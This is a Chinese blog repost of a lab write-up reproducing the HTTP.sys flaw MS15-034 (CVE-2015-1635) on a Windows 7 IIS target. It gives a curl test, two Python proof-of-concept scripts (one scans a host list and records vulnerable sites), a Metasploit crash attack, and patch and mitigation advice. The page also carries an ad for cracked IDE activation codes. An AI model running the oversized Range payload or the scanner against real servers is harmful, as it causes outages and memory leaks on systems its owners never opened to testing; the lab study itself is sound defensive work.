HTTP.sys远程执行代码漏洞验证及复现——CVE-2015-1635、MS15-034[通俗易懂]

HTTP.sys远程执行代码漏洞验证及复现——CVE-2015-1635、MS15-034[通俗易懂]目录漏洞概述漏洞环境部署漏洞验证漏洞利用:ms15_034漏洞防御漏洞概述HTTP.sys简介HTTP.sys是MicrosoftWindows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.sys。HTTP.sys远程代码执行漏洞实质是HTTP.sys的整数溢出漏洞漏洞成因远程执行代码漏洞存在于…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

目录

漏洞概述

漏洞环境部署

漏洞验证

漏洞利用:ms15_034

漏洞防御


漏洞概述

HTTP.sys简介

HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.sys。HTTP.sys远程代码执行漏洞实质是HTTP.sys的整数溢出漏洞

漏洞成因

远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞

漏洞危害

攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。

影响版本

 任何安装了微软IIS 6.0以上的的Windows 7、Windows Server 2008 R2、 Windows Server 2012 R2 、Windows Server 2012、Windows 8、2、Windows 8.1 系统


漏洞环境部署

环境部署:windows7下安装IIS服务

HTTP.sys远程执行代码漏洞验证及复现——CVE-2015-1635、MS15-034[通俗易懂]

如果发现安装完成后,机子上仍没有IIS服务,建议查看以下win7的版本(桌面的计算机单击右键属性,即可查看),旗舰版、企业版和专业版有IIS功能,家庭版和简易版是没有的。需要将家庭版升级为旗舰版即可。

(升级办法可参考:http://jingyan.baidu.com/article/08b6a591ed82d314a809228d.html

HTTP.sys远程执行代码漏洞验证及复现——CVE-2015-1635、MS15-034[通俗易懂]

安装成功!打开即可,不作任何设置。

HTTP.sys远程执行代码漏洞验证及复现——CVE-2015-1635、MS15-034[通俗易懂]

访问下当前IP地址,查看IIS版本

HTTP.sys远程执行代码漏洞验证及复现——CVE-2015-1635、MS15-034[通俗易懂]


漏洞验证

靶机win7:192.168.109.132        攻击机kali:192.168.109.159

1.使用curl命令进行测试

curl http://192.168.109.132 -H “Host: 192.168.109.132” -H “Range: bytes=0-18446744073709551615”

HTTP.sys远程执行代码漏洞验证及复现——CVE-2015-1635、MS15-034[通俗易懂]

返回416,说明该系统存在漏洞,其中Range字段值18446744073709551615表示:转为十六进制是 0xFFFFFFFFFFFFFFFF(16个F),是64位无符号整型所能表达的最大整数,整数溢出往往和这个超大整数有关。

CVE-2015-1635的详细分析可参考:

2.使用Python脚本验证:CVE-2015-1635-POC

HTTP.sys远程执行代码漏洞验证及复现——CVE-2015-1635、MS15-034[通俗易懂]

验证脚本如下:

#coding:utf-8

import socket
import random


ipAddr = "192.168.109.132"
hexAllFfff = "18446744073709551615"
req1 = "GET / HTTP/1.0\r\n\r\n"
req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n"

print "[*] Audit Started"

try:
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client_socket.connect((ipAddr, 80))
    client_socket.send(req1)
    boringResp = client_socket.recv(1024)
    if "Microsoft" not in boringResp:
                    print "[*] Not IIS"
                    exit(0)
    client_socket.close()
    client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client_socket.connect((ipAddr, 80))
    client_socket.send(req)
    goodResp = client_socket.recv(1024)
    if "Requested Range Not Satisfiable" in goodResp:
        print "[!!] Vulnerability MS15-034 existence!"
    elif " The request has an invalid header name" in goodResp:
        print "[*] Not Vulnerability."
    else:
        print "[*] Unknown response state."
                                
except Exception,e:
    print e

3.burpsuite抓包测试

HTTP.sys远程执行代码漏洞验证及复现——CVE-2015-1635、MS15-034[通俗易懂]

HTTP.sys远程执行代码漏洞验证及复现——CVE-2015-1635、MS15-034[通俗易懂]

HTTP.sys远程执行代码漏洞验证及复现——CVE-2015-1635、MS15-034[通俗易懂]

4.Python脚本ms15-034 :HTTP.sys的一个POC测试,使用方法如下:

HTTP.sys远程执行代码漏洞验证及复现——CVE-2015-1635、MS15-034[通俗易懂]

#!/usr/bin/env python
import requests

"""
@Zigoo0
Another testing methods.
curl -v [ipaddress]/ -H "Host: test" -H "Range: bytes=0-18446744073709551615"
wget -O /dev/null --header="Range: 0-18446744073709551615" http://[ip address]/
"""
# Coloring class
class colors:
	def __init__(self):
		self.green = "\033[92m"
		self.blue = "\033[94m"
		self.bold = "\033[1m"
		self.yellow = "\033[93m"
		self.red = "\033[91m"
		self.end = "\033[0m"
color = colors()

banner = color.green+'''
This is a test POC for:
MS15-034: HTTP.sys (IIS) DoS And Possible Remote Code Execution.
By Ebrahim Hegazy @Zigoo0 \n'''+color.end

print banner
#Reading hosts from a text file to test multiple sites.
hosts = open(raw_input('[*] Enter the name of the list file: ')).readlines()
#Vulnerable hosts will go here.
vulnerable = set()
#Fixed hosts will go here.
fixed = set()

#Defining the main function.
def main(url):
	print color.green+"[*] Testing "+color.end + url
	try:
		#Defining the Headers.
		headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.2; rv:30.0) Gecko/20150101 Firefox/32.0", 
					"Accept-Encoding": "gzip, deflate",
					"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
					"Range": "bytes=0-18446744073709551615",
					"Referer": "https://github.com/zigoo0/", 
					"Connection": "keep-alive"
					}
		#Sending the Request.
		r = requests.get(url, headers=headers, verify=False, timeout=5)
		if r.status_code == 416 or "Requested Range Not Satisfiable" in r.text:
			#print r.status_code.
			print "[*] %s"%(url) + color.red+" is Vulnerable!\n"+color.end
			#Adding the vulnerable hosts to a SET for later use and to make sure it's a unique host.
			vulnerable.add(url)
		else:
			#print r.status_code
			print "[*] Seems %s "%(url) + color.green+" is not vulnerable!\n"+color.end
			#Adding the non-vulnerable hosts to a SET for later use.
			fixed.add(url)
	except Exception:
		pass


if __name__ == "__main__":
	for host in hosts:
		url = host.strip()
		main(url)
	#Printing the list of vulnerable sites.
	print color.red+"[*] %s found to be vulnerable."%(len(vulnerable)) +color.end
	for vuln in vulnerable:
		print "[-] ", vuln
		#Adding the vulnerable sites to a text file.
		vulnz = open('vulnerable-hosts.txt', 'a')
		vulnz.write(vuln+"\n")
	print color.blue+"[*] Vulnerable hosts added to "+color.end + "vulnerable-hosts.txt"
	#Printing the number of fixed/not-vulnerable hosts.
	print color.green+"\n[*] %s found to be NOT vulnerable."%(len(fixed)) +color.end
	#printing the refferences.
	print color.green+"\n[*] Please follow below link for more details about this vulnerabability and How to FIX it."+color.end
	print "[*] https://technet.microsoft.com/library/security/ms15-034"
	print "[*] https://technet.microsoft.com/en-us/library/security/ms15-apr.aspx"
	print color.green+"[*] Don't forget to update your servers.\n"+color.end

漏洞利用:ms15_034

打开msfconsole,搜索ms15_034

HTTP.sys远程执行代码漏洞验证及复现——CVE-2015-1635、MS15-034[通俗易懂]

利用ms15-034漏洞读取服务器内存数据:不知道为什么没有显示内存数据……

HTTP.sys远程执行代码漏洞验证及复现——CVE-2015-1635、MS15-034[通俗易懂]

利用ms15-034漏洞进行ddos攻击

HTTP.sys远程执行代码漏洞验证及复现——CVE-2015-1635、MS15-034[通俗易懂]

攻击成功:windows7蓝屏,蓝屏后会自动重启

HTTP.sys远程执行代码漏洞验证及复现——CVE-2015-1635、MS15-034[通俗易懂]HTTP.sys远程执行代码漏洞验证及复现——CVE-2015-1635、MS15-034[通俗易懂]


漏洞防御

禁用IIS的内核缓存:可能导致IIS性能降低

HTTP.sys远程执行代码漏洞验证及复现——CVE-2015-1635、MS15-034[通俗易懂]HTTP.sys远程执行代码漏洞验证及复现——CVE-2015-1635、MS15-034[通俗易懂]

缓解方案:https://technet.microsoft.com/en-us/library/cc731903(v=ws.10).aspx

升级补丁:https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2015/ms15-034?redirectedfrom=MSDN

在网上看到一个双击输出缓存中的办法:https://blog.csdn.net/u010082526/article/details/84955085

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/161409.html原文链接:https://javaforall.net

(0)
上一篇 2022年7月25日 下午1:36
下一篇 2022年7月25日 下午1:36


相关推荐

  • 如何使用gitlab自带的CICD

    如何使用gitlab自带的CICD上次分享了gitlab+jenkins实现CICD,前提我们需要安装一个jenkins。其实高版本的gitlab已经具备CICD功能,笔者使用的版本是:GitLab社区版11.4.10安装RunnersSettings>CI/CD>Runners根据提示点击InstallGitlabRunner下面根据你的系统选择相应的安装包,笔者以linux为例:这里…

    2022年6月1日
    74
  • 服务器的cd驱动器怎么修改盘符,更改dvd驱动器盘符,cd驱动器盘符改「建议收藏」

    服务器的cd驱动器怎么修改盘符,更改dvd驱动器盘符,cd驱动器盘符改「建议收藏」有部分win7系统用户反映说,当他在电脑中安装了虚拟光驱之后,电脑就会产生好多个无效的驱动器盘符,所以就将要将它们删除掉,可以却发现右击的菜单中找不到删除选项,也无法弹出光驱,导致无法删除无效驱动器盘符,这要怎么办呢?接下来给大家分享一下Win7系统删除无效驱动器盘符右键没有删除选项要怎么解决吧!推荐:1、点击win7系统的开始菜单,右击计算机,选择管理选项卡,进入计算机管理;2、打开计算机管理后…

    2022年5月31日
    173
  • sigsuspend() 用法

    sigsuspend() 用法这个函数的用法困扰了我很久 虽然有部分原因是 apue 列子没看明白 但经过一番摸索也加深了我对 sigsuspend 的理解 1 关于 pause 和 sigsuspend 函数 但是不懂他们究竟有些什么区别 在什么时候可以相互替换 什么时候又不可以呢 简单的说 sigsuspend unblock pause nbsp nbsp nbsp nbsp sigsuspend 函数是用于需要先接触某个信号的阻塞状态

    2026年3月17日
    2
  • RCU锁机制原理解析

    RCU锁机制原理解析背景为了保护共享数据 需要一些同步机制 如自旋锁 spinlock 读写锁 rwlock 它们使用起来非常简单 而且是一种很有效的同步机制 在 UNIX 系统和 Linux 系统中得到了广泛的使用 但是随着计算机硬件的快速发展 获得这种锁的开销相对于 CPU 的速度在成倍地增加 原因很简单 CPU 的速度与访问内存的速度差距越来越大 而这种锁使用了原子操作指令 它需要原子地访问内存 也就说获得锁的开销与访

    2026年3月16日
    2
  • 钉钉推出全球首个为AI打造的工作智能操作系统Agent OS

    钉钉推出全球首个为AI打造的工作智能操作系统Agent OS

    2026年3月16日
    3
  • ModelAndView详解

    ModelAndView详解ModelAndView详解WebServlet应用服务器Spring浏览器 ModelAndView的构造方法有7个。但是它们都是相通的。这里使用无参构造函数来举例说明如何构造ModelAndView实例。   ModelAndView类别就如其名称所示,是代表了MVCWeb程序中Model与View的对象,不过它只是方便您一次返回这两个对象的h

    2022年7月18日
    29

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号